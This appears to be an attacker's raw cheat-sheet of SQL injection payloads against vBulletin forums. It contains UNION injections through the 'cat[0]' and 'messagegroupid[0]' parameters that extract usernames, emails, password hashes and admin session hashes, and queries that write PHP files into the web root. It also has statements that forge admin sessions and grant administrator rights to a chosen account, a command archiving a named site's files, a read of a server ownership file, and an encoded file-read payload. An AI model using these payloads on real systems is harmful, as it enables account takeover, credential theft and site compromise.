vbb

bb_password
bb_userid
bb_cpsession
bb_sessionhash

validator.php
bigdump.php
mysqldumper

//Search config
CWD
class_core.php

select "<? phpinfo(); ?>" INTO OUTFILE 'C:/xampp/htdocs/info.php'
select 1,2,3,4,5,6,'<? phpinfo(); ?>',8 into dumpfile 'C:/xampp/htdocs/info.php'
AND 1=0; INSERT INTO Users (user,pass,half) VALUES ('x','y','z');

//Qerry SQL Inject Upload
&cat[0]=1) UNION select '<? phpinfo(); ?>' into dumpfile 'C:/xampp/htdocs/info.php'#
&messagegroupid[0]=2 ) UNION select '<? phpinfo(); ?>' into dumpfile 'C:/xampp/htdocs/info.php'#

//INSERT
INSERT INTO `cpsession` (`userid`, `hash`, `dateline`) VALUES (1, '123', 1312097397);
INSERT INTO `forum`.`cpsession` ( `userid` ,`hash` ,`dateline` ) VALUES ('1', '123', '12121');

// SQLI VBB GET USER NAME AND PASSWORD
&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

// AdminCp Section
&messagegroupid[0]=3 ) UNION SELECT concat(userid,0x3a,hash,0x3a,dateline) FROM cpsession#

// Update
UPDATE user SET username = 'KelvinX', password = '6f3d089f6315c64e3e28896dd2371c29', salt = '.Ah', email = '[email protected]', usergroupid = '6', membergroupids = '2', displaygroupid = '2', homepage = 'http://kelvinx.net', yahoo = 'tearsto_tiara', ipaddress = '127.0.0.1' WHERE userid = 22 ;
INSERT INTO administrator (userid, adminpermissions, navprefs, cssprefs, notes, dismissednews, languageid) VALUES (22, 491516, NULL, 'vBulletin_3_Manual', NULL, NULL, 0);



UPDATE user SET username = 'parkdream1', password = ' 622f1b7e97d9e1eb2cc099aa1b08bf13', salt = 'Bd]', email = '[email protected]', usergroupid = '6', membergroupids = '2', displaygroupid = '2', homepage = 'google.com.vn', yahoo = 'park.dre4m', ipaddress = '127.0.0.1' WHERE userid = 22 ;
  INSERT INTO administrator (userid, adminpermissions, navprefs, cssprefs, notes, dismissednews, languageid) VALUES (22, 491516, NULL, 'vBulletin_3_Manual', NULL, NULL, 0);


tar -czf danchoitravinh.net.tar.gz /home/danchoitravinh.net/

select * from user where userid='264'

update user set usergroupid='6' where userid='264'

update user set email='[email protected]' where username='ch3coohminh'

cat /etc/virtual/domainowners



(((select/**/concat(0x3a2347693321,(unhex(hex(load_file(0x443a2f7777772f78616d70702f6874646f63732f466f72756d2f76622f63616368652f6f627365727665722f706167652e706870)))),0x3a2347693321))))